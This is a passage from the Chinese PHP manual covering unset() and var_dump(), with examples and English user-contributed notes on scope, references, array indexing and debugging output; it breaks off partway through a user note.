unset() 在函数中的行为会依赖于想要销毁的变量的类型而有所不同。

如果在函数中 unset() 一个全局变量，则只是局部变量被销毁，而在调用环境中的变量将保持调用 unset() 之前一样的值。

<?php
function destroy_foo()
{
global $foo;
unset($foo);
}

$foo = 'bar';
destroy_foo();
echo $foo;
?>

以上示例会输出：

bar

如果您想在函数中 unset() 一个全局变量，可使用 $GLOBALS 数组来实现：

<?php
function foo()
{
unset($GLOBALS['bar']);
}

$bar = "something";
foo();
?>

如果在函数中 unset() 一个通过引用传递的变量，则只是局部变量被销毁，而在调用环境中的变量将保持调用 unset() 之前一样的值。

<?php
function foo(&$bar)
{
unset($bar);
$bar = "blah";
}

$bar = 'something';
echo "$bar\n";

foo($bar);
echo "$bar\n";
?>

以上示例会输出：

something
something

如果在函数中 unset() 一个静态变量，那么在函数内部此静态变量将被销毁。但是，当再次调用此函数时，此静态变量将被复原为上次被销毁之前的值。

<?php
function foo()
{
static $bar;
$bar++;
echo "Before unset: $bar, ";
unset($bar);
$bar = 23;
echo "after unset: $bar\n";
}

foo();
foo();
foo();
?>

以上示例会输出：

Before unset: 1, after unset: 23
Before unset: 2, after unset: 23
Before unset: 3, after unset: 23

参数

var

要销毁的变量。

vars

更多变量。

返回值

没有返回值。

示例

Example #1 unset() 示例

<?php
// 销毁单个变量
unset ($foo);

// 销毁单个数组元素
unset ($bar['quux']);

// 销毁一个以上的变量
unset($foo1, $foo2, $foo3);
?>

Example #2 使用 (unset) 类型强制转换

(unset) 类型强制转换常常和函数 unset() 引起困惑。为了完整性，(unset) 是作为 NULL 类型的强制转换。它不会改变变量的类型。自 PHP 7.2.0 起，弃用 (unset) 强制转换，自 8.0.0 起移除。

<?php
$name = 'Felipe';

var_dump((unset) $name);
var_dump($name);
?>

以上示例会输出：

NULL
string(6) "Felipe"

注释

Note: 因为是语言构造器而不是函数，不能被 可变函数 或者 命名参数 调用。

Note:

It is possible to unset even object properties visible in current context.

Note:

无法在对象里销毁 $this。

Note:

在 unset() 一个无法访问的对象属性时，如果定义了 __unset() 则对调用这个重载方法。

参见

  • isset() - 检测变量是否已声明并且其值不为 null
  • empty() - 检查变量是否为空
  • __unset()
  • array_splice() - 去掉数组中的某一部分并用其它值取代
  • (unset) 强制转换

User Contributed Notes

tecdoc at ukr dot net 28-Apr-2022 09:25
Be careful!, unset() element in array advances the internal array pointer one place forward
ray.paseur sometimes uses gmail 08-Mar-2022 08:55
Perhaps because it is a language construct and not a function, if you try to use the error suppression operator ...

@unset($var);

... you get this: Parse error: syntax error, unexpected 'unset' (T_UNSET) ...
ronan at shopping-feed dot com 04-Feb-2020 08:19
<?php

$list = ['a', 'b', 'c'];
next($list);
unset($list[1]);

echo current($list); // result : "c"
Phantasma_9 at yahoo dot com 08-Aug-2016 06:17
This is probably trivial but there is no error for unsetting a non-existing variable.
magnesium dot oxide dot play+php at gmail dot com 20-Mar-2014 08:10
You can unset superglobals like $GLOBALS, $_GET etc., but causing an unususal behavior (as of PHP 5.3.3).

1) unsetting of superglobals is done globally, i.e. unsetting inside the function affects GLOBALLY.

2) Recreation of unset'ed superglobals can be done (recreated valiables are superglobals), but original functionality (in $GLOBALS, $_SESSION ...) has lost.

<?php

function foo(){
  unset($GLOBALS);
}

function bar(){
  var_dump($GLOBALS);
}

foo();
bar(); //issues E_NOTICE ($GLOBALS not defined)
$GLOBALS=3;
bar(); //displays int(3)

?>
Hayley Watson 05-Mar-2013 09:41
You don't need to check that a variable is set before you unset it.
<?php
unset($a);
?>
is harmless.
<?php
if(isset($a)) {
    unset($a);
}
?>
is pointless complication.

This doesn't apply to properties of objects that have __isset() methods that visibly change object state or __unset() methods that don't properly check their arguments or have extra side effects.

The latter case means that __unset shouldn't do more than what it says on the tin, and also has the responsibility for checking (possibly using __isset()) that what it's being asked to do makes sense.

The former case is just plain bad design.
tigercat at aol dot com 10-Oct-2012 07:55
The combination of "global" and "unset" in functions can lead to some unexpected results.  This is because the "global" function creates a reference to a variable at the time it's executed, so a variable can be deleted out from under a "global $my_variable" declaration in a function.  Accessing data that's been deleted with an obsolete reference is usually a bad thing; in some languages it can generate a machine address fault.

<?php
$my_global_var = "old data";
f1();

function f1() // example of invalid variable reference use
{
  global $my_global_var;   // creates reference to global variable
  f2(); // recreates global variable, so reference is now invalid

// bad...
  echo $my_global_var;     // outputs "old data" (from invalid memory???)

// good...
  global $my_global_var;  // reestablish reference to new global variable
  echo $my_global_var;     // outputs "new data" as expected
}

function f2() // recreate global variable
{
  unset($GLOBALS['my_global_var']); // this syntax works with all variable types including arrays
  global $my_global_var; // must do this after unset to access new global variable
  $my_global_var = "new data";
}
?>
pfreilly at umd dot umich dot edu 29-Sep-2011 04:56
Despite much searching, I have not yet found an explanation as to how one can manually free resources from variables, not so much objects, in PHP.  I have also seen many comments regarding the merits and demerits of unset() versus setting a variable to null.  Thus, here are the results of some benchmarks performed comparing unset() of numerous variables to setting them to null (with regards to memory usage and processing time):

10 variables:
Unset:
Memory Usage: 296
Time Elapsed: 1.0013580322266E-5

Null set:
Memory Usage: 1736
Time Elapsed: 5.9604644775391E-6

50 variables:
Unset:
Memory Usage: 296
Time Elapsed: 3.6001205444336E-5

Null set:
Memory Usage: 8328
Time Elapsed: 3.2901763916016E-5

100 variables:
Unset:
Memory Usage: 296
Time Elapsed: 5.6982040405273E-5

Null set:
Memory Usage: 15928
Time Elapsed: 5.8174133300781E-5

1000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.00041294097900391

Null set:
Memory Usage: 168096
Time Elapsed: 0.00067591667175293

10000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.0042569637298584

Null set:
Memory Usage: 1650848
Time Elapsed: 0.0076930522918701

100000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.042603969573975

Null set:
Memory Usage: 16249080
Time Elapsed: 0.087724924087524

300000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.13177299499512

Null set:
Memory Usage: 49796320
Time Elapsed: 0.28617882728577

Perhaps my test code for the null set was flawed, but despite that possibility it is simple to see that unset() has minimal processing time impact, and no apparent memory usage impact (unless the values returned by memory_get_usage() are flawed).  If you truly care about the ~4 microseconds saved over <50 variables, more power to you.  Otherwise, use unset() to minimize script impact on your system.
Note: Tested on PHP 5.3.8 installed via RPM on Fedora 14
edouard dot berge at gmail dot com 24-Sep-2010 09:09
Warning!

When unset from an array, if you unset all elements, the array is always set

$tab=array('A'=>1,'B'=>2);
unset($tab['A']);
unset($tab['B']);
echo isset($tab)." ".count($tab);

output: 1 0
Andreas 24-Sep-2010 05:51
You can not unset a numeric key of an array, if key is a string. See this example:

// Create a simple array with 3 different key types
$test[1] = array(
    10 => array('apples'),
    "20" => array('bananas'),
    '30' => array('peaches')
);
$test[2] = (array) json_decode(json_encode($test[1]));
$test[3] = (array) (object) $test[1];
// array form a stdClass object
$testClass = new stdClass();
$testClass->{10} =  array('apples');
$testClass->{"20"} =  array('bananas');
$test[4] = (array) $testClass[6];

echo "<pre>";
foreach($test as $testNum => $arr) {

    echo "\nTest: " . $testNum  . " \n";
    var_dump($arr);

    foreach($arr as $key => $fruit) {
        echo "key: " . $key . "\n";
        echo "key exists: ";
        var_dump(array_key_exists(strval($key), $arr));
        echo "typeof key is: " . gettype($key) . "\n";

        unset($arr[$key]);
    }
    var_dump($arr);
    echo "\n" . str_repeat("-", 80);
}
echo "</pre>";

And here is the output:

Test: 1
array(3) {
  [10]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  [20]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  [30]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}
key: 10
key exists: bool(true)
typeof key is: integer
key: 20
key exists: bool(true)
typeof key is: integer
key: 30
key exists: bool(true)
typeof key is: integer
array(0) {
}

--------------------------------------------------------------
Test: 2
array(3) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  ["30"]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}
key: 10
key exists: bool(false)
typeof key is: string
key: 20
key exists: bool(false)
typeof key is: string
key: 30
key exists: bool(false)
typeof key is: string
array(3) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  ["30"]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}

--------------------------------------------------------------
Test: 3
array(3) {
  [10]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  [20]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  [30]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}
key: 10
key exists: bool(true)
typeof key is: integer
key: 20
key exists: bool(true)
typeof key is: integer
key: 30
key exists: bool(true)
typeof key is: integer
array(0) {
}

--------------------------------------------------------------
Test: 4
array(2) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
}
key: 10
key exists: bool(false)
typeof key is: string
key: 20
key exists: bool(false)
typeof key is: string
array(2) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
}

--------------------------------------------------------------

Fix the problem with a rebuild of the array:
$oldArray = $array();
$array = array();
foreach($oldArray as $key => $item) {
    $array[intval($key)] = $item;
}
j dot vd dot merwe at enovision dot net 26-Aug-2010 05:08
A sample how to unset array elements from an array result coming from a mysql request. In this sample it is checking if a file exists and removes the row from the array if it not exists.

<?php
$db->set_query("select * from documents where document_in_user = 0"); //1
$documents = $db->result_to_array($db->get_result()); //1

foreach ($documents as $key => $row) { //2

    $file     = "uploads/".rawurldecode($row['document_name']);

    if ( file_exists ( $file ) == FALSE ) {
         unset($documents[$key]);  //3
    }
}

$documents = array_values($documents); // reindex the array (4)
?>

variables:
mysql table = documents,
array = $documents
array key (index) = $key
array row (record sort of speak) = $row

explanation:

1.
it gets the array from the table (mysql)

2.
foreach goes through the array $documents

3.
unset if record does not exist

4.
the array_values($documents) reindexes the $documents array, for otherwise you might end up in trouble when your  process will start expecting an array starting with key ($key) 0 (zero).
Anonymous 02-Jul-2010 07:20
further I realized that an object, when getting detroyed, does care about destroying variable in object space visibility but not those in local visibility, be aware of the found pattern:

<?php
class release_test{
  private $buffer;
  private $other_object;
  public function __construct(){
    $this->other_object=new other_object_class();
  }
  public function __destruct(){
    //note that you always have to unset class objects, in order to get the resources released
    unset($this->other_object);
  }
  public allocate_mem_A(){
    $this->buffer=file("/tmp/bigfile");
  }
  public allocate_mem_B(){
    $buffer=file("/tmp/bigfile");
  }
  public allocate_mem_C(){
    $buffer=file("/tmp/bigfile");
    unset($buffer);
  }
  public allocate_mem_D(){
    $this->other_buffer=file("/tmp/bigfile");
  }
}

//this does not lead to a resource problem
$A=new release_test();
$A->allocate_mem_A();
$A->__destruct();
unset($A);

//this DOES lead to a resource problem
$B=new release_test();
$B->allocate_mem_B();
$B->__destruct();
unset($B);

//this does not lead to a resource problem
$C=new release_test();
$C->allocate_mem_C();
$C->__destruct();
unset($C);

//this does not lead to a resource problem
$D=new release_test();
$D->allocate_mem_D();
$D->__destruct();
unset($D);
?>
phpmanual at kennel17 dot co dot uk 26-Feb-2010 08:55
Note that PHP 4 will generate a warning if you try to unset an array index that doesn't exist and whose parent doesn't exist.

Example:

<?php

  $foo = array();

  unset($foo['Bar']['Baz']);

?>

RESULT: "Notice:  Undefined index:  Bar"

On PHP5 no error is raised, which seems to me like the correct behaviour.

Note that using unset($foo['Bar']) in the above example does not generate a warning in either version.

(Tested on 4.4.9 and 5.2.4)
macnimble at gmail dot com 26-Mar-2009 02:39
Two ways of unsetting values within an array:

<?php
# remove by key:
function array_remove_key ()
{
  $args  = func_get_args();
  return array_diff_key($args[0],array_flip(array_slice($args,1)));
}
# remove by value:
function array_remove_value ()
{
  $args = func_get_args();
  return array_diff($args[0],array_slice($args,1));
}

$fruit_inventory = array(
  'apples' => 52,
  'bananas' => 78,
  'peaches' => 'out of season',
  'pears' => 'out of season',
  'oranges' => 'no longer sold',
  'carrots' => 15,
  'beets' => 15,
);

echo "<pre>Original Array:\n",
     print_r($fruit_inventory,TRUE),
     '</pre>';

# For example, beets and carrots are not fruits...
$fruit_inventory = array_remove_key($fruit_inventory,
                                    "beets",
                                    "carrots");
echo "<pre>Array after key removal:\n",
     print_r($fruit_inventory,TRUE),
     '</pre>';

# Let's also remove 'out of season' and 'no longer sold' fruit...
$fruit_inventory = array_remove_value($fruit_inventory,
                                      "out of season",
                                      "no longer sold");
echo "<pre>Array after value removal:\n",
     print_r($fruit_inventory,TRUE),
     '</pre>';
?>
lion_cat at mail ru 12-Nov-2008 02:22
about unset for arrays

if you unset the last array member
$ar[0]==2
$ar[1]==7
$ar[2]==9

unset ($ar[2])

after addition a new member by $ar[]=7,

you will get
$ar[0]==2
$ar[1]==7
$ar[3]==7,

So, unset has no effect to internal array counter!!!
nox at oreigon dot de 05-Aug-2008 12:24
if you try to unset an object, please be careful about references.

Objects will only free their resources and trigger their __destruct method when *all* references are unsetted.
Even when they are *in* the object... sigh!

<?php

class A {
  function __destruct() {
    echo "cYa later!!\n";
  }
}

$a = new A();
$a -> a = $a;
#unset($a); # Just uncomment, and you'll see

echo "No Message ... hm, what now?\n";
unset($a -> a);
unset($a);

echo "Finally that thing is gone\n";

?>

Of course the object completely dies at the end of the script.
stacionari at gmail dot com 17-Mar-2008 01:41
Sometimes you need to assigne values to an array index in some loop (if, while, foreach etc.) but you wish to set starting index key to some number greater then zero (lets say 5). One idea how to do this is:

<?php
    $values = array(5, 10, 15, 100);  //array of values that we wish to add to our new array

    $myArray = array(4=>0);   //sets starting key to be 4 and assigns some value (lets say 0)
    unset($myArray[4]);   //delete this index key, but preserves further enumeration

    foreach($values as $value){
        $myArray[] = $value;   //asign values to our array
    }

    print_r($myArray);

/* Output:

Array ( [5] => 5 [6] => 10 [7] => 15 [8] => 100 )

*/

?>
pauljamescampbell at gmail dot com 15-Mar-2008 05:22
Here's my variation on the slightly dull unset method. It throws in a bit of 80's Stallone action spice into the mix. Enjoy!

<?php
/**
 * function rambo (first blood)
 *
 * Completely and utterly destroys everything, returning the kill count of victims
 *
 * @param    It don't matter, it's Rambo baby
 * @return    Integer    Body count (but any less than 500 and it's not really worth mentioning)
 */
function rambo() {

    // Get the victims and initiate that body count status
    $victims = func_get_args();
    $body_count = 0;

    // Kill those damn punks
    foreach($victims as $victim) {
        if($death_and_suffering = @unset($victim)) {
            $body_count++;
        }
    }

    // How many kills did Rambo tally up on this mission?
    return($body_count);
}
?>
Kai Kunstmann 10-Mar-2008 05:09
Since unset() is a language construct, it cannot be passed anything other than a variable. It's sole purpose is to "unset" this variable, ie. to remove it from the current scope and destroy it's associated data. This is true especially for reference variables, where not the actual value is destroyed but the reference to that value. This is why you can't wrap 'unset()' in a user defined function: You would either unset a copy of the data if the parameter is passed by value, or you would just unset the reference variable within the functions scope if the parameter is passed by reference. There is no workaround for that, as you cannot pass 'scope' to a function in PHP. Such a function can only work for variables that exist in a common or global scope (compare 'unset($_GLOBALS[variable])').

I don't know how PHP handles garbage collection internally, but I guess this behavior can result in a huge memory leak: if a value variable goes out of scope with a second variable still holding a reference to the in-memory value, then unsetting that reference would still hold the value in memory but potentially unset the last reference to that in-memory data, hence: occupied memory that is rendered useless as you cannot reference it anymore.
Hayley Watson 23-Aug-2007 09:02
In regard to some confusion earlier in these notes about what causes unset() to trigger notices when unsetting variables that don't exist....

Unsetting variables that don't exist, as in
<?php
unset($undefinedVariable);
?>
does not trigger an "Undefined variable" notice. But
<?php
unset($undefinedArray[$undefinedKey]);
?>
triggers two notices, because this code is for unsetting an element of an array; neither $undefinedArray nor $undefinedKey are themselves being unset, they're merely being used to locate what should be unset. After all, if they did exist, you'd still expect them to both be around afterwards. You would NOT want your entire array to disappear just because you unset() one of its elements!
chad 0x40 herballure 0x2e com 31-May-2007 07:11
It is observed on PHP 5.1.6 that <?php unset($this); ?> inside of a method will remove the reference to $this in that method. $this isn't considered "special" as far as unset() is concerned.
09-Feb-2007 08:10
Just to confirm, USING UNSET CAN DESTROY AN ENTIRE ARRAY. I couldn't find reference to this anywhere so I decided to write this.

The difference between using unset and using $myarray=array(); to unset is that obviously the array will just be overwritten and will still exist.

<?php

$myarray=array("Hello","World");

echo $myarray[0].$myarray[1];

unset($myarray);
//$myarray=array();

echo $myarray[0].$myarray[1];

echo $myarray;
?>

Output with unset is:
<?
HelloWorld

Notice: Undefined offset: 0 in C:\webpages\dainsider\myarray.php on line 10

Notice: Undefined offset: 1 in C:\webpages\dainsider\myarray.php on line 10

Output with $myarray=array(); is:
?>

<?
HelloWorld

Notice: Undefined offset: 0 in C:\webpages\dainsider\myarray.php on line 10

Notice: Undefined offset: 1 in C:\webpages\dainsider\myarray.php on line 10

Array
?>
hessodreamy at gmail dot com 17-Jan-2007 03:51
To clarify what hugo dot dworak at gmail dot com said about unsetting things that aren't already set:

unsetting a non-existent key within an array does NOT throw an error.
<?
$array = array();

unset($array[2]);
//this does not throw an error

unset($array[$undefinedVar]);
//Throws an error because of the undefined variable, not because of a non-existent key.
?>
dibakar dot datta at gmail dot com 31-Mar-2006 11:31
Instead of using the unset function  for unregistering your session or other array values you can also do this samll feature and get this task done with just 1 line code.

Suppose, if you like to unregister your session store values.
You can use:

      $_SESSION = array();

Well this syntax saves lot's of time instead of unsetting each values.
clark at everettsconsulting dot com 11-Sep-2005 12:50
In PHP 5.0.4, at least, one CAN unset array elements inside functions from arrays passed by reference to the function.
As implied by the manual, however, one can't unset the entire array by passing it by reference.

<?php
function remove_variable (&$variable)  // pass variable by reference
{
    unset($variable);
}

function remove_element (&$array, $key) // pass array by reference
{
    unset($array[$key]);
}

$scalar = 'Hello, there';
echo 'Value of $scalar is: ';
print_r ($scalar); echo '<br />';
// Value of $scalar is: Hello, there

remove_variable($scalar); // try to unset the variable
echo 'Value of $scalar is: ';
print_r ($scalar); echo '<br />';
// Value of $scalar is: Hello, there

$array = array('one' => 1, 'two' => 2, 'three' => 3);
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [two] => 2 [three] => 3 )

remove_variable($array); // try to unset the array
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [two] => 2 [three] => 3 )

remove_element($array, 'two'); // successfully remove an element from the array
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [three] => 3 )

?>
muhamad_zakaria at yahoo dot com 04-Jul-2005 07:08
We have experienced when we applied 'unset' to the overloaded properties (PHP5), consider the code below:
<?php
    class TheObj {
        public $RealVar1, $RealVar2, $RealVar3, $RealVar4;
        public $Var = array();

        function __set($var, $val) {
            $this->Var[$var] = $val;
        }
        function __get($var) {
            if(isset($this->Var[$var])) return $this->Var[$var];
            else return -1;
        }
    }

    $SomeObj = new TheObj;

    // here we set for real variables
    $SomeObj->RealVar1 = 'somevalue';
    $SomeObj->{'RealVar2'} = 'othervalue';
    $SomeObj->{'RealVar'.(3)} = 'othervaluetoo';
    $SomeObj->{'RealVar'.'4'} = 'anothervalue';

    // and here we set for virtual variables
    $SomeObj->Virtual1 = 'somevalue';
    $SomeObj->{'Virtual2'} = 'othervalue';
    $SomeObj->{'Virtual'.(3)} = 'othervaluetoo';
    $SomeObj->{'Virtual'.'4'} = 'anothervalue';

    // now we will try to unset these variables
    unset($SomeObj->RealVar1);
    unset($SomeObj->{'RealVar'.(3)});

    //the lines below will catch by '__get' magic method since these variables are unavailable anymore
    print $SomeObj->RealVar1."\n";
    print $SomeObj->{'RealVar'.(3)}."\n";

    // now we will try to unset these variables
    unset($SomeObj->Virtual1);
    unset($SomeObj->{'Virtual'.(3)});

    //but, these variables are still available??? eventhough they're "unset"-ed
    print $SomeObj->Virtual1."\n";
    print $SomeObj->{'Virtual'.(3)}."\n";
?>

Please note that PHP doesn't have magic callback to unset overloaded properties. This is the reason why unset($SomeObj->Virtual1) doesn't work.

But it does work when we set 'null' value such as the following code:
<?php
    // now we will set 'null' value instead of using unset statement
    $SomeObj->Virtual1 = null;
    $SomeObj->{'Virtual'.(3)} = null;

    // and now these variables are no longer available
    print $SomeObj->Virtual1."\n";
    print $SomeObj->{'Virtual'.(3)}."\n";
?>
Sound ugly, yeah?

This applied to the "virtual" array variable too, see more at http://bugs.php.net/bug.php?id=33513 (at feedback) about it.
PS: we used PHP version 5.1.0-dev from the CVS snapshot when we wrote the above codes.
franckraynal at free dot fr 26-Feb-2005 05:02
Here is another way to make 'unset' work with session variables from within a function :

<?php
function unsetSessionVariable ($sessionVariableName) {
   unset($GLOBALS[_SESSION][$sessionVariableName]);
}
?>

May it work with others than me...
F.
dan AT --nospam-- cubeland DOT co DOT uk 04-Nov-2004 11:38
dh at argosign dot de -
it is possible to unset globals from within functions thanks to the $GLOBALS array:

<?php
$x = 10;

function test() {
    // don't need to do ' global $x; '
    unset ($GLOBALS['x']);
    echo 'x: ' . $GLOBALS['x'] . '<br />';
}

test();
echo "x: $x<br />";

// will result in
/*
x:
x:
*/
?>
thorry at thorry dot net 05-Aug-2004 02:15
The documentation is not entirely clear when it comes to static variables. It says:

If a static variable is unset() inside of a function, unset() destroys the variable and all its references.

<?php
function foo()
{
   static $a;
   $a++;
   echo "$a\n";
   unset($a);
}

foo();
foo();
foo();
?>

The above example would output:

1
2
3

And it does! But the variable is NOT deleted, that's why the value keeps on increasing, otherwise the output would be:

1
1
1

The references are destroyed within the function, this handeling is the same as with global variables, the difference is a static variable is a local variable.

Be carefull using unset and static values as the output may not be what you expect it to be. It appears to be impossible to destroy a static variable. You can only destroy the references within the current executing function, a successive static statement will restore the references.

The documentation would be better if it would say:
"If a static variable is unset() inside of a function, unset() destroys all references to the variable. "

Example: (tested PHP 4.3.7)
<?php
function foo()
{
   static $a;
   $a++;
   echo "$a\n";
   unset($a);
   echo "$a\n";
   static $a;
   echo "$a\n";
}

foo();
foo();
foo();
?>

Would output:

1

1
2

2
3

3
anon at no spam dot no address dot com 16-Jul-2004 09:19
Adding on to what bond at noellebond dot com said, if you want to remove an index from the end of the array, if you use unset, the next index value will still be what it would have been.

Eg you have
<?php
 $x = array(1, 2);

 for ($i = 0; $i < 5; $i++)
 {
    unset($x[(count($x)-1)]); //remove last set key in the array

    $x[] = $i;
 }
?>

You would expect:
Array([0] => 1, [1] => 4)
as you want it to remove the last set key....

but you actually get
Array ( [0] => 1 [4] => 2 [5] => 3 [6] => 4 )

This is since even though the last key is removed, the auto indexing still keeps its previous value.

The only time where this would not seem right is when you remove a value off the end. I guess different people would want it different ways.

The way around this is to use array_pop() instead of unset() as array_pop() refreshes the autoindexing thing for the array.
<?php
 $x = array(1, 2);

 for ($i = 0; $i < 5; $i++)
 {
    array_pop($x); // removes the last item in the array

    $x[] = $i;
 }
?>

 This returns the expected value of x = Array([0] => 1, [1] => 4);

Hope this helps someone who may need this for some odd reason, I did.
andre at twg dot com dot au 06-Mar-2004 09:16
Only This works with register_globals being 'ON'.

unset( $_SESSION['variable'] );

The above will not work with register_globals turned on (will only work outside of a function).

$variable = $_SESSION['variable'];
unset( $_SESSION['variable'], $variable );

The above will work with register_globals on & inside a function
warhog at warhog dot net 27-Jan-2004 08:52
you may wan't to unset all variables which are defined, here's one way:

<?php

function unset_all_vars($a)
{ foreach($a as $key => $val)
  { unset($GLOBALS[$key]); }
  return serialize($a); }

unset_all_vars(get_defined_vars());

?>

you can also save than a serialized var of the "memory" and perhaps store this in a temporary file.. very usefull if you work with text files and/or file uploads when you've got very large variables.

greetz


打印变量的相关信息

  • ? unset
  • var_export ?
  • PHP Manual
  • 变量处理函数
  • 打印变量的相关信息

var_dump

(PHP 4, PHP 5, PHP 7, PHP 8)

var_dump — 打印变量的相关信息

说明

var_dump(mixed $value, mixed ...$values): void

此函数显示关于一个或多个表达式的结构信息，包括表达式的类型与值。数组和对象将递归展开值，通过缩进显示其结构。

对象的所有公共、私有和受保护的属性都会在输出中返回，除非该对象实现了 __debugInfo() 方法。

Tip

和直接将结果输出到浏览器一样，可使用输出控制函数来捕获当前函数的输出，然后(例如)保存到一个 string 中。

参数

value

要打印的表达式。

values

更多要打印的表达式。

返回值

没有返回值。

示例

Example #1 var_dump() 例子

<?php
$a = array(1, 2, array("a", "b", "c"));
var_dump($a);
?>

以上示例会输出：

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  array(3) {
    [0]=>
    string(1) "a"
    [1]=>
    string(1) "b"
    [2]=>
    string(1) "c"
  }
}
<?php

$b = 3.1;
$c = true;
var_dump($b, $c);

?>

以上示例会输出：

float(3.1)
bool(true)

参见

  • print_r() - 打印人类可读的变量信息
  • debug_zval_dump() - 将表示内部 zval 结构的字符串转储到输出
  • var_export() - 输出或返回变量的可解析字符串表示
  • __debugInfo()

User Contributed Notes

fabien dot villepinte at gmail dot com 27-May-2019 02:59
It's important to note that the output depends on the precision directive.
<?php
var_dump(10000000000000.5); // float(10000000000000)
ini_set('precision',-1);
var_dump(10000000000000.5); // float(10000000000000.5)
?>
Anonymous 18-Jul-2016 06:27
Be careful this outputs to stdout stream (1) instead of the proper stderr stream (2).
b dot bergloev at gmail dot com 31-Oct-2014 11:45
I post a new var_dump function with colors and collapse features. It can also adapt to terminal output if you execute it from there. No need to wrap it in a pre tag to get it to work in browsers.

<?php
function dump_debug($input, $collapse=false) {
    $recursive = function($data, $level=0) use (&$recursive, $collapse) {
        global $argv;

        $isTerminal = isset($argv);

        if (!$isTerminal && $level == 0 && !defined("DUMP_DEBUG_SCRIPT")) {
            define("DUMP_DEBUG_SCRIPT", true);

            echo '<script language="Javascript">function toggleDisplay(id) {';
            echo 'var state = document.getElementById("container"+id).style.display;';
            echo 'document.getElementById("container"+id).style.display = state == "inline" ? "none" : "inline";';
            echo 'document.getElementById("plus"+id).style.display = state == "inline" ? "inline" : "none";';
            echo '}</script>'."\n";
        }

        $type = !is_string($data) && is_callable($data) ? "Callable" : ucfirst(gettype($data));
        $type_data = null;
        $type_color = null;
        $type_length = null;

        switch ($type) {
            case "String":
                $type_color = "green";
                $type_length = strlen($data);
                $type_data = "\"" . htmlentities($data) . "\""; break;

            case "Double":
            case "Float":
                $type = "Float";
                $type_color = "#0099c5";
                $type_length = strlen($data);
                $type_data = htmlentities($data); break;

            case "Integer":
                $type_color = "red";
                $type_length = strlen($data);
                $type_data = htmlentities($data); break;

            case "Boolean":
                $type_color = "#92008d";
                $type_length = strlen($data);
                $type_data = $data ? "TRUE" : "FALSE"; break;

            case "NULL":
                $type_length = 0; break;

            case "Array":
                $type_length = count($data);
        }

        if (in_array($type, array("Object", "Array"))) {
            $notEmpty = false;

            foreach($data as $key => $value) {
                if (!$notEmpty) {
                    $notEmpty = true;

                    if ($isTerminal) {
                        echo $type . ($type_length !== null ? "(" . $type_length . ")" : "")."\n";

                    } else {
                        $id = substr(md5(rand().":".$key.":".$level), 0, 8);

                        echo "<a href=\"javascript:toggleDisplay('". $id ."');\" style=\"text-decoration:none\">";
                        echo "<span style='color:#666666'>" . $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "</span>";
                        echo "</a>";
                        echo "<span id=\"plus". $id ."\" style=\"display: " . ($collapse ? "inline" : "none") . ";\">&nbsp;&#10549;</span>";
                        echo "<div id=\"container". $id ."\" style=\"display: " . ($collapse ? "" : "inline") . ";\">";
                        echo "<br />";
                    }

                    for ($i=0; $i <= $level; $i++) {
                        echo $isTerminal ? "|    " : "<span style='color:black'>|</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                    }

                    echo $isTerminal ? "\n" : "<br />";
                }

                for ($i=0; $i <= $level; $i++) {
                    echo $isTerminal ? "|    " : "<span style='color:black'>|</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                }

                echo $isTerminal ? "[" . $key . "] => " : "<span style='color:black'>[" . $key . "]&nbsp;=>&nbsp;</span>";

                call_user_func($recursive, $value, $level+1);
            }

            if ($notEmpty) {
                for ($i=0; $i <= $level; $i++) {
                    echo $isTerminal ? "|    " : "<span style='color:black'>|</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                }

                if (!$isTerminal) {
                    echo "</div>";
                }

            } else {
                echo $isTerminal ?
                        $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "  " :
                        "<span style='color:#666666'>" . $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "</span>&nbsp;&nbsp;";
            }

        } else {
            echo $isTerminal ?
                    $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "  " :
                    "<span style='color:#666666'>" . $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "</span>&nbsp;&nbsp;";

            if ($type_data != null) {
                echo $isTerminal ? $type_data : "<span style='color:" . $type_color . "'>" . $type_data . "</span>";
            }
        }

        echo $isTerminal ? "\n" : "<br />";
    };

    call_user_func($recursive, $input);
}
?>
stlawson *AT* joyfulearthtech *DOT* com 10-Aug-2011 09:31
<?php
/**
 * Better GI than print_r or var_dump -- but, unlike var_dump, you can only dump one variable.
 * Added htmlentities on the var content before echo, so you see what is really there, and not the mark-up.
 *
 * Also, now the output is encased within a div block that sets the background color, font style, and left-justifies it
 * so it is not at the mercy of ambient styles.
 *
 * Inspired from:     PHP.net Contributions
 * Stolen from:       [highstrike at gmail dot com]
 * Modified by:       stlawson *AT* JoyfulEarthTech *DOT* com
 *
 * @param mixed $var  -- variable to dump
